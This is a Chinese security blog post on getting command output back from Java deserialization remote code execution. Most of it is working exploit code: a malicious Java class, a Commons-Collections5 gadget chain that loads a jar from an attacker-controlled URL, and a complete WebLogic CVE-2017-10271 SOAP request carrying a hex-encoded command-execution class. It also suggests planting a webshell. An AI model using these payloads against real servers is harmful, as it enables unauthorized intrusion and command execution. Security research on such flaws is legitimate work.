总结一下常见反序列化RCE回显几种方式如下:
恶意类如下:
import java.io.BufferedReader; import java.io.InputStreamReader; import java.net.Socket; public class R { public R(String commond) throws Exception { reverseConn(commond); } public void reverseConn(String commond) throws Exception { //执行命令 Process proc = Runtime.getRuntime().exec(commond); BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream())); StringBuffer sb = new StringBuffer(); String line; while ((line = br.readLine()) != null) { sb.append(line).append("/n"); } String result = sb.toString(); Exception e=new Exception(result); throw e; } }
将恶意类打成jar包,把jar包放在服务器上。
javac R.java //先编译成class文件 jar -cvf R.jar R.class //打成jar包
采用Commons-Collections5 gadgets触发反序列化报错回显,运行如下代码:
package test; import java.io.*; import java.lang.annotation.Retention; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; public class Test{ public InvocationHandler getObject(final String command) throws Exception { // inert chain for setup final Transformer transformerChain = new ChainedTransformer( new Transformer[] { new ConstantTransformer(1) }); // real chain for after setup final Transformer[] transformers = new Transformer[] { new ConstantTransformer(java.net.URLClassLoader.class), // getConstructor class.class classname new InvokerTransformer("getConstructor", new Class[] { Class[].class }, new Object[] { new Class[] { java.net.URL[].class } }), new InvokerTransformer( "newInstance", new Class[] { Object[].class }, new Object[] { new Object[] { new java.net.URL[] { new java.net.URL( "http://vpsip/R.jar") } } }), // loadClass String.class R new InvokerTransformer("loadClass", new Class[] { String.class }, new Object[] { "R" }), // set the target reverse ip and port new InvokerTransformer("getConstructor", new Class[] { Class[].class }, new Object[] { new Class[] { String.class } }), // invoke new InvokerTransformer("newInstance", new Class[] { Object[].class }, new Object[] { new String[] { command } }), new ConstantTransformer(1) }; final Map innerMap = new HashMap(); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); //this will generate a AnnotationInvocationHandler(Override.class,lazymap) invocationhandler InvocationHandler invo = (InvocationHandler) getFirstCtor( "sun.reflect.annotation.AnnotationInvocationHandler") .newInstance(Retention.class, lazyMap); //generate object which implements specifiy interface final Map mapProxy = Map.class.cast(Proxy.newProxyInstance(this .getClass().getClassLoader(), new Class[] { Map.class }, invo)); final InvocationHandler handler = (InvocationHandler) getFirstCtor( "sun.reflect.annotation.AnnotationInvocationHandler") .newInstance(Retention.class, mapProxy); setFieldValue(transformerChain, "iTransformers", transformers); return handler; } public static Constructor<?> getFirstCtor(final String name) throws Exception { final Constructor<?> ctor = Class.forName(name) .getDeclaredConstructors()[0]; ctor.setAccessible(true); return ctor; } public static Field getField(final Class<?> clazz, final String fieldName) throws Exception { Field field = clazz.getDeclaredField(fieldName); if (field == null && clazz.getSuperclass() != null) { field = getField(clazz.getSuperclass(), fieldName); } field.setAccessible(true); return field; } public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); } public static void main(final String[] args) throws Exception { final Object objBefore = Test.class.newInstance() .getObject("ipconfig"); //deserialize(serialize(objBefore)); File f = new File("E://payloadsfinal.bin"); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f)); out.writeObject(objBefore); out.flush(); out.close(); FileInputStream fis = new FileInputStream("E://payloadsfinal.bin"); ObjectInputStream ois = new ObjectInputStream(fis); //恢复对象 ois.readObject(); ois.close(); } }
命令回显效果如下,jboss命令回显就是这个原理:
研究weblogicCVE-2017-10271回显时,从 这里 找到回显的poc,接下来看看这个POC如何构造的
详细POC如下:
POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: 127.0.0.1:7001 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: text/xml Content-Length: 5126 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java> <void class="weblogic.utils.Hex" method="fromHexString" id="cls"> <string>0xcafebabe0000003200670a001700350800360a003700380a0039003a08003b0a0039003c07003d0a0007003508003e0a0039003f0a003900400b004100420800430800440800450800460700470a001100480a001100490a0011004a0a004b004c07004d07004e0100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c650100047468697301001e4c636f6d2f737570657265616d2f6578706c6f6974732f586d6c4578703b010003736179010029284c6a6176612f6c616e672f537472696e673b294c6a6176612f696f2f496e70757453747265616d3b010003636d640100124c6a6176612f6c616e672f537472696e673b01000769734c696e75780100015a0100056f73547970010004636d64730100104c6a6176612f7574696c2f4c6973743b01000e70726f636573734275696c64657201001a4c6a6176612f6c616e672f50726f636573734275696c6465723b01000470726f630100134c6a6176612f6c616e672f50726f636573733b0100164c6f63616c5661726961626c65547970655461626c650100244c6a6176612f7574696c2f4c6973743c4c6a6176612f6c616e672f537472696e673b3e3b01000d537461636b4d61705461626c6507004f07005001000a457863657074696f6e7307005101000a536f7572636546696c6501000b586d6c4578702e6a6176610c001800190100076f732e6e616d650700520c0053005407004f0c0055005601000377696e0c005700580100136a6176612f7574696c2f41727261794c697374010004244e4f240c0059005a0c005b005c0700500c005d005e0100092f62696e2f626173680100022d63010007636d642e6578650100022f630100186a6176612f6c616e672f50726f636573734275696c6465720c0018005f0c006000610c006200630700640c0065006601001c636f6d2f737570657265616d2f6578706c6f6974732f586d6c4578700100106a6176612f6c616e672f4f626a6563740100106a6176612f6c616e672f537472696e6701000e6a6176612f7574696c2f4c6973740100136a6176612f6c616e672f457863657074696f6e0100106a6176612f6c616e672f53797374656d01000b67657450726f7065727479010026284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f537472696e673b01000b746f4c6f7765724361736501001428294c6a6176612f6c616e672f537472696e673b010008636f6e7461696e7301001b284c6a6176612f6c616e672f4368617253657175656e63653b295a01000a73746172747357697468010015284c6a6176612f6c616e672f537472696e673b295a010009737562737472696e670100152849294c6a6176612f6c616e672f537472696e673b010003616464010015284c6a6176612f6c616e672f4f626a6563743b295a010013284c6a6176612f7574696c2f4c6973743b295601001372656469726563744572726f7253747265616d01001d285a294c6a6176612f6c616e672f50726f636573734275696c6465723b010005737461727401001528294c6a6176612f6c616e672f50726f636573733b0100116a6176612f6c616e672f50726f6365737301000e676574496e70757453747265616d01001728294c6a6176612f696f2f496e70757453747265616d3b0021001600170000000000020001001800190001001a0000002f00010001000000052ab70001b100000002001b00000006000100000007001c0000000c000100000005001d001e00000001001f00200002001a0000016f000300070000009c043d1202b800034e2dc600112db600041205b60006990005033dbb000759b700083a042b1209b6000a99001319042b07b6000bb9000c020057a700441c9900231904120db9000c0200571904120eb9000c02005719042bb9000c020057a700201904120fb9000c02005719041210b9000c02005719042bb9000c020057bb0011591904b700123a05190504b60013571905b600143a061906b60015b000000004001b0000004a001200000012000200130008001400180015001a00180023001a002c001b003c001c0040001d004a001e0054001f00600021006a002200740023007d002600880027008f002800960029001c0000004800070000009c001d001e00000000009c0021002200010002009a00230024000200080094002500220003002300790026002700040088001400280029000500960006002a002b0006002c0000000c0001002300790026002d0004002e000000110004fd001a0107002ffc0021070030231c0031000000040001003200010033000000020034</string> </void> <void class="org.mozilla.classfile.DefiningClassLoader"> <void method="defineClass"> <string>com.supeream.exploits.XmlExp</string> <object idref="cls"></object> <void method="newInstance"> <void method="say" id="proc"> <string>dir</string> </void> </void> </void> </void> <void class="java.lang.Thread" method="currentThread"> <void method="getCurrentWork"> <void method="getResponse"> <void method="getServletOutputStream"> <void method="writeStream"> <object idref="proc"></object> </void> <void method="flush"/> </void> <void method="getWriter"><void method="write"><string></string></void></void> </void> </void> </void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>
defineClass去加载com.supeream.exploits.XmlExp恶意类,恶意类代码已经Hex编码了。还原一下XmlExp代码,先对恶意类代码解码->bytes[]->写入1.class.再用idea/jd-gui反编译。
package weblogic; import org.mozilla.classfile.DefiningClassLoader; import weblogic.jdbc.wrapper.Array; import java.io.*; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.Arrays; import static weblogic.utils.Hex.hexValueOf; public class hh { public static void main(String[] args) throws NoSuchMethodException, IllegalAccessException, InstantiationException, InvocationTargetException, IOException { System.out.println("hahah"); byte[] bt = fromHexString2("0xcafebabe0000003200670a001700350800360a003700380a0039003a08003b0a0039003c07003d0a0007003508003e0a0039003f0a003900400b004100420800430800440800450800460700470a001100480a001100490a0011004a0a004b004c07004d07004e0100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c650100047468697301001e4c636f6d2f737570657265616d2f6578706c6f6974732f586d6c4578703b010003736179010029284c6a6176612f6c616e672f537472696e673b294c6a6176612f696f2f496e70757453747265616d3b010003636d640100124c6a6176612f6c616e672f537472696e673b01000769734c696e75780100015a0100056f73547970010004636d64730100104c6a6176612f7574696c2f4c6973743b01000e70726f636573734275696c64657201001a4c6a6176612f6c616e672f50726f636573734275696c6465723b01000470726f630100134c6a6176612f6c616e672f50726f636573733b0100164c6f63616c5661726961626c65547970655461626c650100244c6a6176612f7574696c2f4c6973743c4c6a6176612f6c616e672f537472696e673b3e3b01000d537461636b4d61705461626c6507004f07005001000a457863657074696f6e7307005101000a536f7572636546696c6501000b586d6c4578702e6a6176610c001800190100076f732e6e616d650700520c0053005407004f0c0055005601000377696e0c005700580100136a6176612f7574696c2f41727261794c697374010004244e4f240c0059005a0c005b005c0700500c005d005e0100092f62696e2f626173680100022d63010007636d642e6578650100022f630100186a6176612f6c616e672f50726f636573734275696c6465720c0018005f0c006000610c006200630700640c0065006601001c636f6d2f737570657265616d2f6578706c6f6974732f586d6c4578700100106a6176612f6c616e672f4f626a6563740100106a6176612f6c616e672f537472696e6701000e6a6176612f7574696c2f4c6973740100136a6176612f6c616e672f457863657074696f6e0100106a6176612f6c616e672f53797374656d01000b67657450726f7065727479010026284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f537472696e673b01000b746f4c6f7765724361736501001428294c6a6176612f6c616e672f537472696e673b010008636f6e7461696e7301001b284c6a6176612f6c616e672f4368617253657175656e63653b295a01000a73746172747357697468010015284c6a6176612f6c616e672f537472696e673b295a010009737562737472696e670100152849294c6a6176612f6c616e672f537472696e673b010003616464010015284c6a6176612f6c616e672f4f626a6563743b295a010013284c6a6176612f7574696c2f4c6973743b295601001372656469726563744572726f7253747265616d01001d285a294c6a6176612f6c616e672f50726f636573734275696c6465723b010005737461727401001528294c6a6176612f6c616e672f50726f636573733b0100116a6176612f6c616e672f50726f6365737301000e676574496e70757453747265616d01001728294c6a6176612f696f2f496e70757453747265616d3b0021001600170000000000020001001800190001001a0000002f00010001000000052ab70001b100000002001b00000006000100000007001c0000000c000100000005001d001e00000001001f00200002001a0000016f000300070000009c043d1202b800034e2dc600112db600041205b60006990005033dbb000759b700083a042b1209b6000a99001319042b07b6000bb9000c020057a700441c9900231904120db9000c0200571904120eb9000c02005719042bb9000c020057a700201904120fb9000c02005719041210b9000c02005719042bb9000c020057bb0011591904b700123a05190504b60013571905b600143a061906b60015b000000004001b0000004a001200000012000200130008001400180015001a00180023001a002c001b003c001c0040001d004a001e0054001f00600021006a002200740023007d002600880027008f002800960029001c0000004800070000009c001d001e00000000009c0021002200010002009a00230024000200080094002500220003002300790026002700040088001400280029000500960006002a002b0006002c0000000c0001002300790026002d0004002e000000110004fd001a0107002ffc0021070030231c0031000000040001003200010033000000020034"); File file = new File("1.class"); FileOutputStream fos = new FileOutputStream(file); fos.write(bt); fos.close(); // System.out.println(Arrays.toString(bt)); byte // DefiningClassLoader cls = new DefiningClassLoader(); // Class cl =cls.defineClass("com.supeream.exploits.XmlExp",bt); // System.out.println(cl); // System.out.println(cl.getMethods());// // Method m = cl.getMethod("say",String.class); // Object dir = m.invoke(cl.newInstance(), "calc"); } public static byte[] fromHexString1(byte[] barray, int len) { int i = 0; if (barray[0] == 48 && (barray[1] == 120 || barray[1] == 88)) { i += 2; len -= 2; } int outlen = len / 2; byte[] out = new byte[outlen]; for(int j = 0; j < outlen; ++j) { out[j] = (byte)(hexValueOf(barray[i++]) << 4 | hexValueOf(barray[i++])); } return out; } public static byte[] fromHexString2(String hexString) { byte[] bytes; try { bytes = hexString.getBytes("US-ASCII"); } catch (UnsupportedEncodingException var4) { bytes = new byte[hexString.length()]; for(int i = 0; i < bytes.length; ++i) { bytes[i] = (byte)hexString.charAt(i); } } System.out.println(bytes); return fromHexString1(bytes, bytes.length); } }
拿到XmlExp类代码如下:
// // Source code recreated from a .class file by IntelliJ IDEA // (powered by Fernflower decompiler) // package com.supeream.exploits; import java.io.InputStream; import java.util.ArrayList; import java.util.List; public class XmlExp { public XmlExp() { } public InputStream say(String cmd) throws Exception { boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } List<String> cmds = new ArrayList(); if (cmd.startsWith("$NO$")) { cmds.add(cmd.substring(4)); } else if (isLinux) { cmds.add("/bin/bash"); cmds.add("-c"); cmds.add(cmd); } else { cmds.add("cmd.exe"); cmds.add("/c"); cmds.add(cmd); } ProcessBuilder processBuilder = new ProcessBuilder(cmds); processBuilder.redirectErrorStream(true); Process proc = processBuilder.start(); return proc.getInputStream(); } }
开始以为回显的原因是报错回显的,实际上不是,而是用到weblogic内部回显类进行回显,这也算是个骚思路了,这点是get到了。
分析下POC构造过程:
传入恶意类hex编码id设置为cls交给weblogic.utils.Hex.fromHexString类转换为byte[]----->org.mozilla.classfile.DefiningClassLoader类的defineClass方法传入com.supeream.exploits.XmlExp恶意类,通过newInstance方法实例化恶意类并调用say方法,传入dir命令id设置为proc交给weblogic内部回显类回显。实际对应代码如下操作。
DefiningClassLoader cls = new DefiningClassLoader(); Class cl =cls.defineClass("com.supeream.exploits.XmlExp",bt); Method m = cl.getMethod("say",String.class); Object dir = m.invoke(cl.newInstance(), "calc");
最后将回显结果交给weblogic容器的response回显,这块poc构造可以跟踪下正常处理回显是什么样的来构造。
在com.sun.beans.ObjectHandler下断,idref这里跟进lookup
idref对应id是proc
加载恶意方法的地方,执行了dir命令,剩下就是拼接返回包,这里就不跟了
最后实现效果如下:
这里就看一下weblogic CVE-2017-10271 ,实际已经可以向服务器写文件,干脆直接写个执行命令webshell更方便。
通过webshell执行命令
还有什么好的回显思路,欢迎各位师傅补充。